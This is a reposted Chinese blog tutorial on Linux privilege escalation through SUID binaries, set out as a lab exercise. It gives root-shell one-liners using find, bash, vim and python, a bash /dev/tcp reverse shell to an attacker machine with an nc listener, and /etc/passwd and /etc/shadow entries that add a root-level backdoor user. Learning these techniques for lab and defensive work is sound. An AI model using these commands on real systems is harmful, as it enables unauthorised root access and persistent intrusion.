首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

[权限提升] Linux 提权 & 维持 — 系统错误配置提权 - SUID 文件提权

  • 25-02-20 14:41
  • 3043
  • 8891
blog.csdn.net

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:SUID 文件提权原理

SUID(Set User ID)是 Unix 和 Linux 系统中的一种特殊权限机制。设置了 SUID 的程序文件,在用户执行该程序时,会以文件属主的权限进行执行。例如假设一个程序文件的属主是 root,且该程序文件被赋予了 SUID 属性,那么当其它用户执行该程序文件时,就会以 root 用户的权限进行执行。

SGID 与 SUID 类似,只是在执行程序时获得的是文件属组的权限。

比如 Linux 操作系统中的 passwd 命令(修改密码)就是被赋予了 SUID 权限的,不过它们比较聪明,做了一个限制,只有 root 用户才可以在使用 passwd 的时候可以指定账户名称:

在使用 SUID 的时候有以下几点需要注意:

  1. 只有可执行的程序文件才能设置 SUID 权限,非二进制程序文件设置 SUID 权限没有任何意义。

  2. 命令执行者要对该程序文件拥有可执行(X)权限。

  3. 命令执行者在执行该程序文件时将会获得该程序属主的身份。

  4. SUID 权限只在该程序执行过程中有效,即身份改变只在程序执行过程中有效。

0x0101:设置/取消 SUID 权限

  1.  chmod u+s   # 为指定文件设置 SUID 权限
  2.  chmod u-s   # 为指定文件去除 SUID 权限

0x0102:SUID 文件提权原理

SUID 文件提权原理:利用某些二进制文件设置了 SUID 权限,从而以 Root 权限执行系统命令。

常见的利用 SUID 文件提权的思路如下:

  1. 被赋予 SUID 权限的命令本身可以通过 -exec 等参数执行其他命令 => 直接提权。

  2. 被赋予 SUID 权限的命令可以操作文件 => 操作 /etc/passwd 等文件进行提权。

常见的可以用来进行 SUID 提权的命令可以参考下面这个链接:

GTFOBins https://gtfobins.github.io/https://gtfobins.github.io/

这里笔者也列举几个,具体的提权姿势可以查看下面的部分:

 nmap;vim;find;bash;more;less;nano;cp;awk;mv

0x02:SUID 文件提权姿势

0x0201:FIND — SUID 提权姿势

find 命令是用来在 Linux 系统中查找文件的一个命令。但同时,它也具有执行命令的能力。因此,如果该命令被配置为使用 SUID 权限运行,则可以通过 find 执行的命令,都将以 root 身份去运行。

1. FIND — SUID 提权环境配置

首先以 Root 身份登录 Linux 系统中,输入下面的命令,为 find 命令赋予 SUID 权限:

 chmod u+s /usr/bin/find

2. FIND — SUID 提权姿势教程

2.1 FIND + SUID 以 ROOT 身份执行命令

切换为系统普通用户,使用下面的格式便可以利用 find 以 root 身份执行命令:

  1.  touch 1.txt # 创建一个 1.txt 文件,使用 find 执行命令必须要用到一个存在的文件
  2.  find 1.txt -exec whoami \; # 利用 find 特性,执行 whoami 命令

2.2 FIND +SUID 获取 ROOT 权限 Shell

上面这种利用 FIND + SUID 特性以 ROOT 权限执行系统命令的方式还不够爽,我们还可以通过下面的命令直接拿到一个 ROOT 权限的 Shell:

 find . -exec /bin/bash -p \; -quit

0x0202:BASH — SUID 提权姿势

Linux 中的 bash 命令用于启动 Base Shell,同时该命令也具有执行命令的能力。因此,如果该命令配置为使用 SUID 权限运行,则可以通过 bash 执行的命令都将以 root 身份去执行。

1. BASH — SUID 提权环境配置

首先以 Root 身份登录 Linux 系统中,输入下面的命令,为 bash 命令赋予 SUID 权限:

 chmod u+s /usr/bin/bash

2. BASH — SUID 提权姿势教程

输入下面的命令,即可使用 BASH 特性结合 SUID 获得一个 ROOT 权限 Shell:

 bash -p

0x0203:VIM — SUID 提权姿势

vim 是 Linux 系统中的一个编辑文件的命令,若该命令被赋予了 SUID 权限,攻击者可以通过修改 /etc/passwd 和 /etc/shadow 的方式,为自己添加一个拥有 root 权限的用户。

1. VIM — SUID 提权环境配置

首先以 Root 身份登录 Linux 系统中,输入下面的命令,为 vim 命令赋予 SUID 权限:

chmod u+s /usr/bin/vim

2. VIM — SUID 提权姿势教程

2.1 VIM + SUID 手动添加特权用户

若 VIM 具有 SUID 权限,我们可以使用下面的命令,手动为 Linux 系统添加一个特权用户(Liinux 系统万物皆文件特性):

  1. # 注意,保存文件的时候使用 :wq!,直接使用 :wq 可能会报错,导致写入文件不成功
  2. vim /etc/passwd   # 编辑 /etc/passwd 文件,在其中添加特权用户
  3. 添加:hacker:x:0:0::/home/hacker:/bin/bash
  4. vim /etc/shadow # 编辑 /etc/shadow 文件,为 hacker 用户设置密码,下面密码是 123456
  5. 添加: hacker:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7:::

2.2 VIM + SUID 获取 ROOT 权限 Shell

上面这种写法略显笨拙,有没有更加 EASY 一点的方式直接拿到 Root 权限的 Shell 呢,有的,若目标存在 Python 环境,可以通过下面这句话,利用 VIM + SUID 直接拿到 Root 权限的 Shell:

  1. # 这个命令部分远控可能不支持,建议在 CMD 命令行中使用
  2. vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; sh -p")'

0x0204:PYTHON — SUID 提权姿势

python 这个命令是我们在执行 Python 程序时会在前面加上的一个命令。如果该程序被赋予了 SUID 权限,且程序拥有人是 Root,则代表用户在执行 Python 代码时都是以 Root 权限执行的,很容易造成提权。

1. PYTHON — SUID 提权环境配置

首先以 Root 身份登录 Linux 系统中,输入下面的命令,为 python 命令赋予 SUID 权限:

chmod u+s /usr/bin/python

2. PYTHON — SUID 提权姿势教程

输入下面的命令,即可使用 Python 结合 SUID 特性拿到一个高权限用户 Shell:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

0x03:SUID 文件提权实战

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查看敏感 SUID 文件

既然是使用 SUID 文件提权,我们就要先查找系统中所有的 SUID 文件。使用下面命令中的任意一条都可以确定系统中属于 Root 用户的 SUID 文件:

  1. find / -user root -perm -4000 -print 2>/dev/null
  2. find / -perm -u=s -type f 2>/dev/null
  3. find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null 命令解析

  1. find => 查找文件的命令

  2. / => 从根目录开始查找

  3. -user root => 文件所有者是 root 用户

  4. -perm -4000 => -perm 匹配权限,4000, 2000, 1000 分别表示 SUID、SGID、SBIT

  5. -print 2>/dev/null => 将标准错误输出到 /dev/null 文件

  • 普通文件,文件的权限一般是三位,777 是最高文件权限。

    • -perm -0777 搜索的就是文件权限 ”完全等于“ 0777 的文件。

    • -perm +0777 搜索的就是文件权限 ”至少包含“ 0777 的文件。

  • 特殊文件,包含权限位置四位,7000 为最高,即 -s-s-t

    • -perm -7000 搜索的就是最高权限文件 -s-s-t。

    • -perm +7000 搜索的是 ”至少包含“ -s-s-t 权限的文件。

find / -perm -u=s -type f 2>/dev/null 命令解析

  1. find => 查找文件的命令

  2. / => 从根目录开始查找

  3. -perm -u=s => 查找 user 位具有 s 权限的文件。

  4. -type f => -type b/d/c/p/l/f 指定文件类型是块设备/目录/字符设备/管道/符号链接/普通文件

0x0303:SUID 文件提权 - 反弹 Shell => 交互 Shell

通过上面的操作,我们发现了靶机中存在 SUID 提权的可能,只不过命令是 VIM(这个是笔者故意找罪受的)。

不过问题是,反弹 Shell 是无法使用 VIM 命令的,体验感很差,所以我们还需要将这个反弹 Shell 升级为交互式 Shell,依次输入如下命令即可(要求靶机中有 Python 环境,具体的实现可以参考下面这篇文章):

Linux 反向 shell 升级为完全可用的 TTY shell - sainet - 博客园升级远程 shell(仅限 Unix 机器) 通常,在通过 nc 捕获 shell 之后,会在一个功能非常有限的 shell 中。例如没有命令历史记录(并使用向上“”和“向下”箭头循环浏览它们)和文件名称、命令自动完成等。在缺少这些功能的 shell 中查询或操作会比较麻烦。 注意:要检查 shelhttps://www.cnblogs.com/sainet/p/15783539.htmlhttps://www.cnblogs.com/sainet/p/15783539.html
  1. ### 1. 检查目标机器可用的 Python 环境
  2. which python python2 python3
  3. ### 2. 使用可用的 Python 环境拿到一个交互式 Shell
  4. python -c 'import pty;pty.spawn("/bin/bash")';
  5. ### 3. 设置一些环境变量
  6. export SHELL=bash
  7. export TERM=xterm-256color #允许 clear,并且有颜色
  8. ### 4. 输入 ctrl+z 将 Shell 发送到后台
  9. ### 5. 设置 Shell 以通过反向 Shell 发送控制字符和其他原始输入
  10. stty raw -echo;fg
  11. ### 6. 回车一次后输入 reset 再回车,再次进入 Shell 中:

使用上面的流程,获取一个交互式 Shell 后,我们就可以用前面学到的方式,使用 VIM 篡改 /etc/passwd 与 /etc/shadow 文件,写入高权限用户了:

  1. # 注意,保存文件的时候使用 :wq!,直接使用 :wq 可能会报错,导致写入文件不成功
  2. vim /etc/passwd   # 编辑 /etc/passwd 文件,在其中添加特权用户
  3. 添加:hacker:x:0:0::/home/hacker:/bin/bash
  4. vim /etc/shadow # 编辑 /etc/shadow 文件,为 hacker 用户设置密码,下面密码是 123456
  5. 添加: hacker:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7:::

写入完毕后,我们直接切换到 hacker 用户,就拿到了系统最高权限了,提权成功:

0x04:参考资料

Linux 反向 shell 升级为完全可用的 TTY shell - sainet - 博客园升级远程 shell(仅限 Unix 机器) 通常,在通过 nc 捕获 shell 之后,会在一个功能非常有限的 shell 中。例如没有命令历史记录(并使用向上“”和“向下”箭头循环浏览它们)和文件名称、命令自动完成等。在缺少这些功能的 shell 中查询或操作会比较麻烦。 注意:要检查 shelhttps://www.cnblogs.com/sainet/p/15783539.htmlhttps://www.cnblogs.com/sainet/p/15783539.html
谈一谈Linux与suid提权 | 离别歌phith0n的小站,长期存在与分享关于网络安全与各种编程的原创文章。https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.htmlhttps://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
反弹Shell升级为交互式Shell ——yzddMr6 - 简书前言 看hack the box的视频的时候,发现ippsec不喜欢用蚁剑,喜欢弹个shell回来。 然后一顿操作把一个简单的shell就升级到了一个标准交互式shell 写...https://www.jianshu.com/p/e7202cb2c3ddhttps://www.jianshu.com/p/e7202cb2c3dd
Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145493980"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top